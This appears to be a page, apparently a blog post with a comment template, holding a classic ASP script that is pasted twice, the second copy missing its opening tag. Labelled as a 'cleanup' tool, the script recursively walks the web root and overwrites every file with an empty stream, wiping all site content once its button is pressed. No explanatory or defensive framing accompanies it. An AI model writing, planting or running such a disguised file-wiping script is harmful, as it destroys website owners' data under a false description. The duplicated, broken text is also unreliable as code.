<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
回复Comments
作者:
{commentrecontent}